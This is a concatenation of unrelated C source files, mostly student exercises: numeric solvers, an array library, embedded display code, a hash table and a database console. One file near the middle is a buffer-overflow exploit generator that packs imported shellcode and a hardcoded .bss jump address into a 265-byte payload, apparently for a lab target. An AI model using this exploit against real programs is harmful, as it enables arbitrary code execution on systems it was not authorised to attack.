// printf("Pair: Random Wins\n");
return 0;
}
else if (userResult == 1) { // User wins
// printf("Pair: User Wins\n");
return 1;
}
// High Card
else {
// printf("Checking High Card\n");
return is_high_card(userSort, randomSort);
}
}
}
}
}
}
}
}
}
}
|
C | #pragma once
#ifndef _COMMONS_H
struct Vector2D
{
float x;
float y;
Vector2D()
{
x = 0.0f;
y = 0.0f;
}
Vector2D(float xTemp, float yTemp)
{
x = xTemp;
y = yTemp;
}
};
struct Rect2D
{
float Width;
float Height;
float x;
float y;
//Rect2D()
//{
// x = 0.0f;
// y = 0.0f;
// Width = 1.0f;
// Height = 1.0f;
//}
Rect2D(float xTemp, float yTemp, float w, float h)
{
x = xTemp;
y = yTemp;
Width = w;
Height = h;
}
};
enum SCREENS
{
SCREEN_INTRO = 0,
SCREEN_MENU,
SCREEN_LEVEL1,
SCREEN_LEVEL2,
SCREEN_GAMEOVER,
SCREEN_HIGHSCORES
};
enum FACING
{
FACING_LEFT = 0,
FACING_RIGHT
};
#endif |
C | #include<stdio.h>
#include<math.h>
#define PI 3.14159
int main()
{
double circumference;
int radius;
int i;
printf("please enter the radius of a circle to calculate the circumference\n");
scanf("%d", &radius);
circumference = PI*2*radius;
printf("circumference of circle = %lf", circumference);
printf("this is a test comment\n");
return 0;
}; |
C | #include<stdlib.h>
#include<stdio.h>
#include<math.h>
int main(void)
{
int n,i,j;
double sig,tol;//Tolerance value
//Open file for input
FILE *fp;
fp=fopen("input.dat","r");
/*
Format of input file
n
tol
A[0][0] A[0][1] ....
A[1][0]
A[2][0]
.
.
.
A[n-1][0].....A[n-1][n-1]
b[0]....b[n-1]
*/
//take inputs
fscanf(fp,"%d",&n);//matrix size
fscanf(fp,"%le",&tol);//tolerance value
//dynamic declaration of matrix
double *A;
double *b;
double *phi;
double *phiOld;
double *error;
A=(double *) malloc(n*n*sizeof(double));
b=(double *) malloc(n*sizeof(double));
phi=(double *) malloc(n*sizeof(double));
phiOld=(double *) malloc(n*sizeof(double));
error=(double *) malloc(n*sizeof(double));
//take values of matrix A
for(i=0;i<n;i++)
{
for(j=0;j<n;j++)
fscanf(fp,"%le",&A[i*n+j]);
}
//take values of vector b
for(i=0;i<n;i++)
{
fscanf(fp,"%le",&b[i]);
}
//close input file
fclose(fp);
//open output file
fp=fopen("output.dat","w");
/*output test
for(i=0;i<n;i++)
{
for(j=0;j<n;j++)
{
fprintf(fp,"%lf ",A[i*n+j]);
}
fprintf(fp,"\n");
}
fprintf(fp,"\n\n\n");
for(i=0;i<n;i++)
{
fprintf(fp,"%lf ",b[i]);
}
*/
//Gauss Seidel Algorithm
//initial guess for phi... [1 1 1 1 ... ]
for(i=0;i<n;i++)
{
phi[i]=1;
}
int convergenceNotReached=1; // check for convergence, is 1 is convergence is not reached
while(convergenceNotReached)//till convergence means until convergence=1
{
//copying the current value of phi in phiOld to check for convergence later
for(i=0;i<n;i++)
{
phiOld[i]=phi[i];
}
for(i=0;i<n;i++)
{
sig=0;
for(j=0;j<n;j++)
{
if(j!=i)
{
sig=sig+A[n*i+j]*phi[j];
}
}
phi[i]=(b[i]-sig)/A[n*i+i];
}
//check convergence
/*
finding the maximum absolute error
*/
for(i=0;i<n;i++)//calculating the error vector
{
error[i]=fabs(phiOld[i]-phi[i]);
}
double max=error[0];
for(i=0;i<n;i++)//finding max in error vector
{
if(max<error[i])max=error[i];
}
if(max<=tol)
{
convergenceNotReached=0;//means convergence is reached
}
}
//ouput result
//printing solution vector
for(i=0;i<n;i++)
{
fprintf(fp,"%le ",phi[i]);
}
/*
printing residual vector
It is calculated by
[A]*[phi]-[b] or known as Ax-b
*/
fprintf(fp,"\n\n\n");
for(i=0;i<n;i++)
{
sig=0;
for(j=0;j<n;j++)
{
sig+=A[i*n+j]*phi[j];
}
sig-=b[i];
fprintf(fp,"%le ",sig);
}
free(phiOld);
free(error);
free(phi);
free(b);
free(A);
fclose(fp);
}
|
C | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "common.h"
#include "array.h"
#define DEFAULT_LEN 12
#define MAX_ELEMENTS_LENGTH ((size_t) - 2)
static enum STATE expendArray(Array *array);
static size_t indexAbs(Array *array, size_t index);
static void qSort(Array *array, int begin, int end, int (*compare)(const void *, const void *));
/**
* 创建新的数组
* @param[out] 指向数组的指针的指针
* @return OK || MALLOC_ERR 返回成功或者内存分配失败的状态码
*/
enum STATE createArray(Array **out) {
Array *array;
array = zmalloc(sizeof(array));
if (!array) {
return MALLOC_ERR;
}
array->len = DEFAULT_LEN;
array->used = 0;
// 分配存储元素的数组长度,默认值为 DEFAULT_LEN
array->items = zcalloc(sizeof(void*) * array->len);
// 分配失败则销毁后退出
if (!array->items) {
zfree(array);
return MALLOC_ERR;
}
*out = array;
return OK;
}
/**
* 往数组追加一个元素,如果数组已用长度超过 60%,则增加数组容量
* @params[array] 数组指针
* @params[item] 无类型的地址
* @return OK || ERROR
*/
enum STATE arrayAdd(Array *array, void *item) {
if (check_expend(array) == 1 && expendArray(array) != OK) {
return ERROR;
}
array->items[array_used(array)] = item;
array_used(array) ++;
return OK;
}
/**
* 向数组的索引位置 index 填入新值
* @params[array] 数组指针
* @params[item] 待插入的值
* @params[index] 待填入的索引值
* @return OK || ERROR
*/
enum STATE arrayAddAt(Array *array, void *item, size_t index) {
// 将数值转为合法的索引
index = indexAbs(array, index);
// 首先,需要确保数组索引值不会溢出
// 其次,如果元素大于等于最后一个元素,则直接调用 arrayAdd 即可
if (index >= array_used(array)) {
return arrayAdd(array, item);
}
if (index > MAX_ELEMENTS_LENGTH) {
return ERROR;
}
// 扩容检查
if (check_expend(array) == 1 && expendArray(array) != OK) {
return ERROR;
}
// 计算需要移动的长度
size_t shift = (array->len - index) * sizeof(int);
// 把当前索引的地址向后移一位,目的腾出位置插入新值
memmove(&(array->items[index + 1]),
&(array->items[index]),
shift);
// 填入新值
array->items[index] = item;
array_used(array) ++;
return OK;
}
/**
* 浅拷贝。并不复制数据,只复制指向数据的指针,因此是多个指针指向同一份数据
* @params[array] 数组指针
* @params[out] 作为输出返回值
*/
enum STATE arrayCopyShallow(Array *array, Array **out) {
Array *copy;
copy = zmalloc(sizeof(copy));
if (!copy) {
return MALLOC_ERR;
}
copy->items = zcalloc(sizeof(void *) * array->len);
if (!copy->items) {
zfree(copy);
return MALLOC_ERR;
}
copy->len = array->len;
copy->used = array_used(array);
// 复制一份数组所有元素的地址
memcpy(copy->items,
array->items,
sizeof(void *) * array->len);
*out = copy;
return OK;
}
/**
* 深拷贝会复制原始数据,每个指针指向一份独立的数据
* @params[array] 数组指针
* @params[cp] 函数指针,用于复制元素的值
* @params[out] 作为输出返回值
*/
enum STATE arrayCopyDeep(Array *array, void*(*cp)(void *), Array **out) {
Array *copy;
copy = zmalloc(sizeof(copy));
if (!copy) {
return MALLOC_ERR;
}
copy->items = zcalloc(sizeof(void *) * array_used(array));
if (!copy->items) {
zfree(copy);
return MALLOC_ERR;
}
copy->len = array_used(array);
copy->used = array_used(array);
for(int i = 0; i < array_used(array); ++i) {
// 如果有复制函数传入,则根据复制函数返回值,否则,按默认 int 类型进行复制值
// 当然,这是不严谨的,理论上应当强迫调用者输入复制处理函数
if (cp) {
copy->items[i] = cp(array->items[i]);
} else {
int *value = (int*)malloc(sizeof(int));
*value = *((int*)array->items[i]);
copy->items[i] = value;
}
}
*out = copy;
return OK;
}
/**
* 移除数组中所有元素(伪)
* @params[array] 数组指针
*/
void arrayRemoveAll(Array *array) {
array_used(array) = 0;
}
/**
* 移除指定位置的元素
* @params[array] 数组指针
* @params[index] 索引值
*/
enum STATE arrayRemoveAt(Array *array, size_t index) {
index = indexAbs(array, index);
if (index < 0 || index > array_used(array)) {
return ERROR;
}
size_t size = (array->len - index) * sizeof(int);
memmove(&(array->items[index]),
&(array->items[index+1]),
size);
array_used(array) --;
return OK;
}
/**
* 追加数组的容量, 每次默认增加 DEFAULT_LEN 的长度
* @params[array] 数组指针
* @return OK || ERROR || MALLOC_ERR
*/
static enum STATE expendArray(Array *array) {
array->len += DEFAULT_LEN;
// 长度不能超过最大限度
if (array->len > MAX_ELEMENTS_LENGTH) {
return ERROR;
}
void **newItems = NULL;
newItems = zcalloc(sizeof(void *) * array->len);
if (!newItems) {
return MALLOC_ERR;
}
// 将存储在 array 的旧元素全部迁移到扩容后的数组中去,然后销毁旧的内存空间
memcpy(newItems, array->items, sizeof(void *) * array->len);
zfree(array->items);
array->items = newItems;
return OK;
}
/**
* 获取数组最后一个数字
* @params[array] 数组指针
* @params[out] 接受返回值
* @return OK || ERROR
*/
enum STATE arrayGetLast(Array *array, void **out) {
if (array_used(array) == 0) {
*out = NULL;
return ERROR;
}
*out = array->items[array_used(array) - 1];
return OK;
}
enum STATE arrayGetAt(Array *array, size_t index, void **out) {
if (array_used(array) == 0) {
*out = NULL;
return ERROR;
}
index = indexAbs(array, index);
*out = array->items[index];
return OK;
}
/**
* 负数索引转换为有效的索引..
* eg: array: 1, 3, 5, 7
* index = -1, value = 7
* index = -2, value = 5
* index = -5, value = 7
* @params[array] 数组指针
* @params[index] 索引值
* @return index 返回索引值
*/
static size_t indexAbs(Array *array, size_t index) {
if (index == -1) {
return array_used(array);
}
while ((int)index < 0) {
index = array_used(array) + index;
}
if (index > array->len || index > array_used(array)) {
index = array_used(array);
}
return index;
}
/**
* 销毁数组
* @params[array] 数组指针
*/
void destroyArray(Array *array) {
zfree(array->items);
zfree(array);
}
/*
* 选择排序
* 每一轮只发生一次交换操作
* 时间复杂度:O(n*n)
* 空间复杂度:O(1)
* @params[array] 数组地址
* @params[compare] 比较元素大小的函数指针
*/
void choseSort(Array *array, int (*compare)(const void *, const void *)) {
if (array_used(array) == 0) {
return ;
}
int minIndex;
for (int i = 0; i < array_used(array); i++) {
minIndex = i;
for (int j = i + 1; j < array_used(array); j++) {
if (compare(array->items[j], array->items[minIndex]) == -1) {
minIndex = j;
}
}
swapItem(&array->items[i], &array->items[minIndex]);
}
}
/*
* 冒泡排序
* 每一次比较都可能发生一次交换操作
* 时间复杂度:O(n*n)
* 空间复杂度:O(1)
* @params[array] 数组地址
* @params[compare] 比较元素大小的函数指针
*/
void bubbleSort(Array *array, int (*compare)(const void *, const void *)) {
if (array_used(array) == 0) {
return ;
}
for(int i = 0;i < array_used(array); ++i) {
for(int j = i + 1; j < array_used(array); ++j) {
if (compare(array->items[i], array->items[j]) == 1) {
swapItem(&array->items[i], &array->items[j]);
}
}
}
}
/**
* 插入排序
*/
void insertSort(Array *array, int (*compare)(const void *, const void *)) {
if (array_used(array) == 0) {
return ;
}
for (int i = 1; i < array_used(array); ++i) {
for (int j = i; j > 0 && compare(array->items[j - 1], array->items[j]) == 1; j--) {
swapItem(&array->items[j], &array->items[j - 1]);
}
}
}
/**
* 希尔排序
*/
void shellSort(Array *array, int (*compare)(const void *, const void *)) {
if (array_used(array) == 0) {
return ;
}
int h = 1;
while (h < array_used(array)) h = 3 * h + 1;
while (h >= 1) {
for(int i = h; i < array->used; ++i) {
for(int j = i; j - h >= 0 && compare(array->items[j - h], array->items[j]) == 1; j --) {
swapItem(&array->items[j], &array->items[j - h]);
}
}
h = h / 3;
}
}
/**
* 快速排序
*/
void quickSort(Array *array, int (*compare)(const void *, const void *)) {
qSort(array, 0, array->used - 1, compare);
}
/**
* 快排辅助方法,递归排序
*/
static void qSort(Array *array, int begin, int end, int (*compare)(const void *, const void *)) {
if (begin >= end) {
return ;
}
// 设置基准值
void *baseValue = array->items[begin];
int left = begin;
int right = end;
// 从基准值的下一个数开始比较
while (left < right) {
// 找出比基准值小的数,然后停下
while(left < right && compare(array->items[right], baseValue) != -1) {
right --;
}
// 找出比基准值大的数字,然后停下
while(left < right && compare(array->items[left], baseValue) != 1) {
left ++;
}
// 交换这两个值
swapItem(&array->items[left], &array->items[right]);
}
// 把基值放置在正确的位置
swapItem(&array->items[begin], &array->items[left]);
qSort(array, begin, left, compare);
qSort(array, left + 1, end, compare);
}
/**
* 交换地址
*/
void swapItem(void **t1, void **t2) {
void *temp;
temp = *t1;
*t1 = *t2;
*t2 = temp;
}
|
C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_link_material_object.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: agoomany <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2018/01/24 14:29:11 by agoomany #+# #+# */
/* Updated: 2018/03/31 16:56:36 by nvarela ### ########.fr */
/* */
/* ************************************************************************** */
#include "rtv1.h"
static void ft_link_mat_cone(t_material *mat, t_cone *cone)
{
if (!cone)
return ;
while (cone)
{
cone->material = ft_get_material(mat, cone->material_id);
if (cone->material == NULL)
ft_print_error("Unknow material (cone).", TRUE);
cone = cone->next;
}
}
static void ft_link_mat_cylinder(t_material *mat, t_cylinder *cylinder)
{
if (!cylinder)
return ;
while (cylinder)
{
cylinder->material = ft_get_material(mat, cylinder->material_id);
if (cylinder->material == NULL)
ft_print_error("Unknow material (cylinder).", TRUE);
cylinder = cylinder->next;
}
}
static void ft_link_mat_plane(t_material *mat, t_plane *plane)
{
if (!plane)
return ;
while (plane)
{
plane->material = ft_get_material(mat, plane->material_id);
if (plane->material == NULL)
ft_print_error("Unknow material (plane).", TRUE);
plane = plane->next;
}
}
static void ft_link_mat_sphere(t_material *mat, t_sphere *sphere)
{
if (!sphere)
return ;
while (sphere)
{
sphere->material = ft_get_material(mat, sphere->material_id);
if (sphere->material == NULL)
ft_print_error("Unknow material (sphere).", TRUE);
sphere = sphere->next;
}
}
void ft_link_material_object(t_rtv1 *rtv1)
{
ft_link_mat_sphere(rtv1->material, rtv1->sphere);
ft_link_mat_plane(rtv1->material, rtv1->plane);
ft_link_mat_cylinder(rtv1->material, rtv1->cylinder);
ft_link_mat_cone(rtv1->material, rtv1->cone);
}
|
C | #include<stdio.h>
void main()
{
FILE *f1,*f2;
char a;
f1=fopen("data.txt","r");
f2=fopen("copy.txt","w");
while(!feof(f1))
{
a=fgetc(f1);
fputc(a,f2);
}
fclose(f1);
fclose(f2);
f2=fopen("copy.txt","r");
while(!feof(f2))
{
a=fgetc(f2);
printf("%c",a);
}
}
|
C | #include "SMG.h"
#include "stm32f10x.h" // Device header
#include "delay.h"
/*
const unsigned char LED_table[24]={
//01234567
0xC0,0xF9,0xA4,0xB0,0x99,0x92,0x82,0xF8,
//89ABCDEF
0x80,0x90,0x88,0x83,0xC6,0xA1,0x86,0x8E,
//ʱЧ
0xF9,0xBF,0x99,0xBF,0x82,0xF9,0xC0,0xA4
};
//ܶ롰0123456789AbCdEFϨ-
const unsigned char wei_table[8]={0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80};
//һλڰλλ
*/
/*ʹ÷
//λܣ274HC595
SMG_Display(LED_table[0],wei_table[1]); 1λʾ0
SMG_Display(LED_table[1] & 0x7f,wei_table[2]); 2λʾ 1.
SMG_Display(LED_table[2],wei_table[3]); 3λʾ 2
*/
void HC595_Init() //ʼ
{
GPIO_InitTypeDef IO;
RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOC,ENABLE); //GPIOC ųʼ
IO.GPIO_Mode = GPIO_Mode_Out_PP; //
IO.GPIO_Speed = GPIO_Speed_50MHz;
IO.GPIO_Pin = DIO|SCLK|RCLK;
GPIO_Init(GPIOC,&IO);
}
void HC595_WR(unsigned char data)
{
u8 i;
for(i = 0;i<8;i++)
{
if(data&0x80)//һȡλ
SET_DIO;//д1
else
CLR_DIO;//д0
data<<=1;//θλΪλ
CLR_SCLK; //ʱ 0
SET_SCLK;//ʱ 1
}
}
void HC595_Over()//RCLKʱ
{
CLR_RCLK; //0
SET_RCLK; //1
}
void SMG_Display(unsigned char data,unsigned char wei) //ʾ dataʾݣweiһλ
{
HC595_WR(data); //ͳ
HC595_WR(wei);//ͳλ
HC595_Over(); //
delay_ms(2);
}
|
C | #include <stdio.h>
int main(){
int numero;
int morto=0;
int counter=0, pari=0;
int aspettadispari=0;
int posizione_primo_dispari=-1, posizione_cinque=-1;
printf("Dammi dei numeri, dopo ogni pari devono seguire almeno due dispari.\n");
do{
scanf("%d", &numero);
if(aspettadispari > 0){
/* voglio un numero dispari */
if(numero%2==0) morto=1;
aspettadispari--;
}else{
/* può essere qualsiasi cosa */
if(numero%2==0){
/* ma se è un pari... */
pari++;
aspettadispari=2;
}
}
if(posizione_primo_dispari < 0 && numero % 2 != 0)
posizione_primo_dispari=counter;
if(numero==5) posizione_cinque = counter;
counter++;
}while(!morto);
printf("Numero di interi pari: %d\n", pari);
printf("Prima occorrenza di un intero dispari: %d\n", posizione_primo_dispari);
printf("Ultima occorrenza dell'intero 5 nella sequenza: %d\n", posizione_cinque);
} |
C | /* ----------------------- Compiler Libraries ------------------------------- */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <math.h>
/* -------------------------------------------------------------------------- */
// header
#include "read_matrix.h"
/**************************** count_rows *************************************/
/*----------------------------------------------------------------------------*/
unsigned count_rows(FILE *file){
// Reading character
int ch = 0;
// Flag for new line
int aux_line = 1;
// Number of lines
unsigned lines = 0;
// Warn about inexisting restrictions
if(file == NULL){
printf(" \n The program can not find the files containing the\
restrictions in the folder input_matrices \n ");
}
// Parsing the file
while ((ch = fgetc(file)) != EOF){
if (ch == '\n') {aux_line = 1;}
// 48 and 57 represents the ascii code for 0 and 9 respectibly
if (ch <= 57 && ch >=48 && aux_line) {lines++, aux_line=0;}
}
fclose(file);
return lines;
}
/*************************** count_columns ***********************************/
unsigned count_columns(FILE *file)
{
// Reading character
int ch = 0;
// Flag of new variable
int aux_space = 1;
// Number of vars
unsigned vars = 0;
// Debug for inexistent restrictions
if(file == NULL){
printf(" \n The program can not find the files containing the\
restrictions in the folder input_matrices \n ");
}
// Parsing the file to get the number of variables
while ((ch = fgetc(file)) != EOF && ch != '\n')
{
if (ch == ' '){ // Values separeted by spaces
aux_space = 1;
} else if (ch == ','){ // Values separated by commas
aux_space = 1;
}
// 48 and 57 represents the ascii code for 0 and 9 respectibly
if (ch <= 57 && ch >=48 && aux_space) {vars++, aux_space=0;}
}
fclose(file);
return vars;
}
|
C | #include "hash.h"
#include "merge.h"
#include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
Htab* init_tab() {
Htab *tab;
tab = malloc(sizeof(Htab));
tab->t = malloc(16 * sizeof(login));
for (int i = 0; i < 16; i++)
strcpy(tab->t[i].name, FREE);
tab->m = 16;
tab->n = 0;
return tab;
}
int insert_tab(Htab* t_hash, login user) {
t_hash->n++;
double A = (sqrt(5)-1)/2.0;
int pos, k = -1;
int i = 0, id_user = 0;
while(user.name[i] != '\0')
id_user += user.name[i];
do {
k++;
//pos = hash_division(key, m, k);
pos = hash_multi(id_user, A, t_hash->m, k);
if (strcmp(t_hash->t[pos].name, user.name) != 0)
return 0;
} while (strcmp(t_hash->t[pos].name, FREE) != 0 && strcmp(t_hash->t[pos].name, DEL) != 0);
strcpy(t_hash->t[pos].name, user.name);
strcpy(t_hash->t[pos].pass, user.pass);
return 1;
}
void delete_tab(Htab* tab, login key) {
int pos = search_tab(tab, key);
if (pos < 0) return;
strcpy(tab->t[pos].name, DEL);
strcpy(tab->t[pos].pass, DEL);
}
int search_tab(Htab* tab, login user) {
double A = (sqrt(5)-1)/2.0;
int pos, k = -1;
int i = 0, id_user = 0;
while(user.name[i] != '\0')
id_user += user.name[i];
do {
k++;
//pos = hash_division(key, m, k);
pos = hash_multi(id_user, A, tab->m, k);
if (strcmp(tab->t[pos].name, FREE) == 0) return -1;
} while (strcmp(tab->t[pos].name, user.name) != 0 && strcmp(tab->t[pos].pass, user.pass) != 0);
return pos;
}
int hash_division(int key, int m, int k) {
return (int)( (key+(k*k)) % m);
}
int hash_multi(int key, double A, int m, int k) {
double val = (key+(k*k))*A;
val = val - ((int)val);
return (int)(val*m);
}
Htab* create_tab(Htab* tab) {
Htab* tab_copy = malloc(sizeof(Htab));
tab_copy->t = malloc(2 * tab->m * sizeof(login));
for (int i = 0; i < 2 * tab->m; i++)
strcpy(tab_copy->t[i].name, FREE);
tab_copy->m = 2 * tab->m;
tab_copy->n = 0;
for (int i = 0; i < tab->m; i++) {
if (strcmp(tab->t[i].name, FREE) != 0 && strcmp(tab->t[i].name, DEL) != 0)
insert_tab(tab_copy, tab->t[i]);
}
tab = tab_copy;
return tab;
}
void exib_tab(Htab* tab) {
mergesort(tab->t, 0, tab->m);
for (int i = 0; i < tab->m; i++)
if(strcmp(tab->t[i].name, FREE) != 0 && strcmp(tab->t[i].name, DEL) != 0)
printf("%s %s \n", tab->t[i].name, tab->t[i].pass);
}
|
C | #include <stdio.h>
#include <string.h>
#include "shellcode.h"
int main(int argc, char *argv[]) {
char buff[265], *ptr, *sc;
long *addr_ptr, addr;
int i;
sc = alt_shellcode; // Shellcode to execute
addr = 0x0804c040; // Address to jump to (in .bss)
for (i = 0; i < 265; i++) {
// Fill buffer with junk
buff[i] = 'A';
}
ptr = buff + 264 - 8;
addr_ptr = (long *)ptr;
for (i = 0; i < 8; i += 4) {
// write the address to jump to to the end of the buffer
*(addr_ptr++) = addr;
}
for (i = 0; i < strlen(sc); i++) {
// Write the shellcode to the start of the buffer
buff[i] = sc[i];
}
buff[264] = '\0';
printf("%s", buff);
return 0;
}
|
C | #include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/types.h>
#include <dirent.h>
#include <stdio.h>
int rmdirs(const char *path, int force) {
DIR * dir_ptr = NULL;
struct dirent *file = NULL;
struct stat buf;
char filename[1024];
/* 목록을 읽을 디렉토리명으로 DIR *를 return 받습니다. */
if((dir_ptr = opendir(path)) == NULL) {
/* path가 디렉토리가 아니라면 삭제하고 종료합니다. */
return unlink(path);
}
/* 디렉토리의 처음부터 파일 또는 디렉토리명을 순서대로 한개씩 읽습니다. */
while((file = readdir(dir_ptr)) != NULL) {
// readdir 읽혀진 파일명 중에 현재 디렉토리를 나타네는 . 도 포함되어 있으므로 // 무한 반복에 빠지지 않으려면 파일명이 . 이면 skip 해야 함
if(strcmp(file->d_name, ".") == 0 || strcmp(file->d_name, "..") == 0) {
continue;
}
sprintf(filename, "%s/%s", path, file->d_name);
/* 파일의 속성(파일의 유형, 크기, 생성/변경 시간 등을 얻기 위하여 */
if(lstat(filename, &buf) == -1) { continue; } if(S_ISDIR(buf.st_mode)) {
// 검색된 이름의 속성이 디렉토리이면
/* 검색된 파일이 directory이면 재귀호출로 하위 디렉토리를 다시 검색 */
if(rmdirs(filename, force) == -1 && !force) {
return -1;
}
}
else if(S_ISREG(buf.st_mode) || S_ISLNK(buf.st_mode)) {
// 일반파일 또는 symbolic link 이면
if(unlink(filename) == -1 && !force) {
return -1;
}
}
}
/* open된 directory 정보를 close 합니다. */
closedir(dir_ptr);
return rmdir(path);
}
// path = - 삭제할 파일 또는 일괄로 삭제할 디렉토리
// force = - 삭제시 권한 문제 등으로 파일을 삭제할 수 없다는 파일이 있을 때에 어떻게 할 것인지에 대한 옵션입니다.
// - 파일 또는 directory를 삭제하다가 최초의 오류가 발생하면 멈출것인지, 아니면 오류난 것은 오류난 대로 두고 삭제할 수 있는 것은 모두 삭제합니다.
// 0이면 : 최초 오류 발생시 중지, 0이 아니면 : 오류가 발생하더라도 나머지는 계속 삭제함
// return = 0 - 정상적으로 path 하위의 모든 파일 및 모든 디렉토리를 삭제하였습니다. -1 - 오류가 발생하였으며, 상세한 오류는 errno에 저장됩니다.
|
C | #include<stdio.h>
int main()
{
float sal;
printf("Enter the basic salary of Ramesh\n");
scanf("%f",&sal);
printf("Gross salary of Ramesh is = %0.2f",sal-((0.4*sal)+(0.2*sal)));
return 0;
}
|
C | /*
* api.c
*
* Created on: 5 abr. 2019
* Author: utnso
*/
#include "api.h"
int lanzarConsola(){
sleep(1);
log_info(LOGGERFS,"Iniciando hilo de consola");
int resultadoDeCrearHilo = pthread_create( &threadConsola, NULL,
funcionHiloConsola, "Hilo consola");
if(resultadoDeCrearHilo){
log_error(LOGGERFS,"Error al crear el hilo de la consola, return code: %d",
resultadoDeCrearHilo);
exit(EXIT_FAILURE);
}else{
log_info(LOGGERFS,"La consola se creo exitosamente");
return EXIT_SUCCESS;
}
return EXIT_SUCCESS;
}
void *funcionHiloConsola(void *arg){
//MEM-LEAK@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ creo q hay un mem leak de alguno de esos char @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
char * linea;
char *ret="Cerrando hilo";
char** instruccion;
log_info(LOGGERFS,"Consola lista");
printf("Si necesita saber las funciones que hay disponibles llame a la funcion \"man\"\n");
while(!obtenerEstadoDeFinalizacionDelSistema()){
linea = readline("$ ");
if(strlen(linea)>0){
add_history(linea);
instruccion=NULL;
instruccion = parser_instruccion(linea);
if(instruccion[0] == NULL) continue;
if(strcmp(instruccion[0],"exit")==0){//Mata al hilo de la consola
for(int p=0;instruccion[p]!=NULL;p++) free(instruccion[p]);
free(instruccion);
free(linea);
log_info(LOGGERFS,"Cerrando consola");
setearEstadoDeFinalizacionDelSistema(true);
return ret;
}else{
if((strcmp(instruccion[0],"select")==0) || (strcmp(instruccion[0],"SELECT")==0)){
if((instruccion[1]!=NULL)&&(instruccion[2]!=NULL)){
printf("Voy a hacer un select por consola de la tabla %s, con la key %d\n",instruccion[1],atoi(instruccion[2]));
consolaSelect(instruccion[1],atoi(instruccion[2]));
}else{
if(instruccion[1]==NULL){
printf("Faltan parametros para poder hacer un select\n");
}
}
}else{
if((strcmp(instruccion[0],"insert")==0) || (strcmp(instruccion[0],"INSERT")==0)){
char** instruccionesAux = string_split(linea, "\"");
/* De: INSERT [NOMBRE_TABLA] [KEY] “[VALUE]” [Timestamp]
* Me queda separado en:
* INSERT [NOMBRE_TABLA] [KEY]
* [VALUE]
* [Timestamp]
* */
char** instrucionLocal = string_split(instruccionesAux[0], " ");
/* De: INSERT [NOMBRE_TABLA] [KEY]
* Me queda separado en:
* INSERT
* [NOMBRE_TABLA]
* [KEY]
* */
if((instrucionLocal[1]!=NULL)&&(instrucionLocal[2]!=NULL)&&(instruccionesAux[1]!=NULL)
&&(instruccionesAux[2]!=NULL)){
printf("Voy a hacer un insert por consola de la tabla %s, con la key %d, el value %s, y el timestamp %.0f\n",
instrucionLocal[1],atoi(instrucionLocal[2]),instruccionesAux[1],atof(instruccionesAux[2]));
consolaInsert(instrucionLocal[1],atoi(instrucionLocal[2]),instruccionesAux[1],atof(instruccionesAux[2]));
}else{
if((instrucionLocal[1]!=NULL)&&(instrucionLocal[2]!=NULL)&&
(instruccionesAux[1]!=NULL)&&(instruccionesAux[2]==NULL)){
printf("Voy a hacer un insert por consola de la tabla %s, con la key %d, el value %s, y sin timestamp\n",
instrucionLocal[1],atoi(instrucionLocal[2]),instruccionesAux[1]);
consolaInsertSinTime(instrucionLocal[1],atoi(instrucionLocal[2]),instruccionesAux[1]);
}else{
printf("Faltan parametros para poder hacer un insert\n");}
}
for(int j=0;instruccionesAux[j]!=NULL;j++)
free(instruccionesAux[j]);
free(instruccionesAux);
for(int j=0;instrucionLocal[j]!=NULL;j++)
free(instrucionLocal[j]);
free(instrucionLocal);
}else{
if((strcmp(instruccion[0],"create")==0) || (strcmp(instruccion[0],"CREATE")==0)){
if((instruccion[1]!=NULL)&&(instruccion[2]!=NULL)&&(instruccion[3]!=NULL)
&&(instruccion[4]!=NULL)){
printf("Voy a hacer un create por consola de la tabla %s, del tipo de consitencia %s, con %d particiones, y tiempo de compactacion de %d\n",
instruccion[1],instruccion[2],atoi(instruccion[3]),atoi(instruccion[4]));
consolaCreate(instruccion[1],instruccion[2],atoi(instruccion[3]),atoi(instruccion[4]));
}else{
printf("Faltan parametros para poder hacer un create\n");
}
}else{
if((strcmp(instruccion[0],"describe")==0) || (strcmp(instruccion[0],"DESCRIBE")==0)){
if((instruccion[1]!=NULL)){
printf("Voy a hacer un describe por consola de la tabla %s\n", instruccion[1]);
consolaDescribeDeTabla(instruccion[1]);
}else{
printf("Voy a hacer un describe por consola de todas las tablas\n");
consolaDescribe(obtenerTodosLosDescriptores());
}
}else{
if((strcmp(instruccion[0],"drop")==0) || (strcmp(instruccion[0],"DROP")==0)){
if((instruccion[1]!=NULL)){
printf("Voy a hacer un drop de la tabla %s\n", instruccion[1]);
consolaDrop(instruccion[1]);
}else{
printf("Faltan parametros para poder hacer un drop\n");
}
}else{
if(strcmp(instruccion[0],"config")==0){
imprimirConfiguracionDelSistema();
}else{
if(strcmp(instruccion[0],"man")==0){
man();
}else{
if(strcmp(instruccion[0],"reloadconfig")==0){
reloadConfig();
}else{
if(strcmp(instruccion[0],"bitmap")==0){
imprimirEstadoDelBitmap();
}else{
if(strcmp(instruccion[0],"existeLaTabla")==0){
existeLaTabla(instruccion[1]);
}else{
if(strcmp(instruccion[0],"pmemtable")==0){
imprimirMemtableEnPantalla();
}else{
if((strcmp(instruccion[0],"dumpear")==0)&&(instruccion[1]!=NULL)){
//pthread_mutex_lock(&mutexDeDump);
list_iterate(memTable, dumpearAEseNodo);
vaciarMemTable();
memTable=list_create();
//pthread_mutex_unlock(&mutexDeDump);
}else{
printf("Comando desconocido\n");
}}}}}}}}}}}}}
for(int j=0;instruccion[j]!=NULL;j++)
free(instruccion[j]);
free(instruccion);
}
free(linea);
}//Cierre del while(1)
return ret;
}
int esperarPorHilos(){
log_info(LOGGERFS,"Esperando a threadConsola");
pthread_join( threadConsola, NULL);
log_info(LOGGERFS,"Hilo de consola finalizado");
log_info(LOGGERFS,"Esperando a threadDumps");
pthread_join( threadDumps, NULL);
log_info(LOGGERFS,"Hilo de threadDumps finalizado");
log_info(LOGGERFS,"Esperando a threadServer");
pthread_join( threadServer, NULL);
